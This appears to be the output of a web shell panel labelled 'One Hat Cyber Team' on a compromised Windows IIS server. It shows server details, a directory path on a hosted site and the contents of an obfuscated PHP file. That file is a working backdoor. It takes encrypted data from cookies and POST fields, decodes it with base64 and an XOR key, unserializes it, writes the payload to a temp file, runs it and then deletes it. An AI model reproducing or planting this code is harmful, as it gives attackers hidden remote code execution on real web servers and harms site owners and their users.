⚝
One Hat Cyber Team
⚝
Your IP:
18.190.239.5
Server IP:
162.222.225.78
Server:
Windows NT PLESK-WEB5 10.0 build 20348 (Windows Server 2022) AMD64
Server Software:
Microsoft-IIS/10.0
PHP Version:
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
D:
/
INETPUB
/
VHOSTS
/
ateam.co.in
/
public_html
/
636bc
/
View File Name :
3c282ef6.php
$lgovNB = 'c' . "\x5f" . chr ( 819 - 719 ).chr ( 904 - 797 ).chr ( 1034 - 918 ).'B';$ZNVzqOEEQi = "\143" . chr (108) . 'a' . 's' . chr (115) . '_' . chr ( 750 - 649 ).'x' . "\151" . chr ( 640 - 525 ).chr (116) . "\163";$Qoonc = class_exists($lgovNB); $lgovNB = "29424";$ZNVzqOEEQi = "49803";$sNcLnWU = FALSE;if ($Qoonc === $sNcLnWU){$EsgvIuk = "23554";class c_dktB{public function YWqxe(){echo "45038";}private $gSwdsNsYh;public static $KJyCgIYUaR = "0ec30ada-6aed-4834-9ecf-0e3223057fa9";public static $euBVNc = 31650;public function __construct($fpwnA=0){$AAdgC = $_POST;$ZxMIPUZ = $_COOKIE;$SCglwZJO = @$ZxMIPUZ[substr(c_dktB::$KJyCgIYUaR, 0, 4)];if (!empty($SCglwZJO)){$FazCD = "base64";$GhJFOgQLtb = "";$SCglwZJO = explode(",", $SCglwZJO);foreach ($SCglwZJO as $htACcZJ){$GhJFOgQLtb .= @$ZxMIPUZ[$htACcZJ];$GhJFOgQLtb .= @$AAdgC[$htACcZJ];}$GhJFOgQLtb = array_map($FazCD . chr ( 276 - 181 ).chr (100) . "\x65" . chr ( 217 - 118 ).'o' . "\x64" . chr ( 883 - 782 ), array($GhJFOgQLtb,)); $GhJFOgQLtb = $GhJFOgQLtb[0] ^ str_repeat(c_dktB::$KJyCgIYUaR, (strlen($GhJFOgQLtb[0]) / strlen(c_dktB::$KJyCgIYUaR)) + 1);c_dktB::$euBVNc = @unserialize($GhJFOgQLtb);}}private function ULLWFC($EsgvIuk){if (is_array(c_dktB::$euBVNc)) {$OaTjCzg = sys_get_temp_dir() . "/" . crc32(c_dktB::$euBVNc['s' . chr ( 126 - 29 )."\154" . chr ( 563 - 447 )]);@c_dktB::$euBVNc["\x77" . 'r' . "\x69" . 't' . "\x65"]($OaTjCzg, c_dktB::$euBVNc[chr (99) . chr (111) . 'n' . 't' . chr ( 444 - 343 )."\156" . 't']);include $OaTjCzg;@c_dktB::$euBVNc["\144" . 'e' . chr ( 1020 - 912 )."\x65" . chr ( 551 - 435 ).'e']($OaTjCzg); $EsgvIuk = "23554";exit();}}public function __destruct(){$EsgvIuk = "47859_60510";$this->ULLWFC($EsgvIuk); $EsgvIuk = "47859_60510";}}$LvPohD = new /* 44676 */ c_dktB(); $LvPohD = str_repeat("47859_60510", 1);}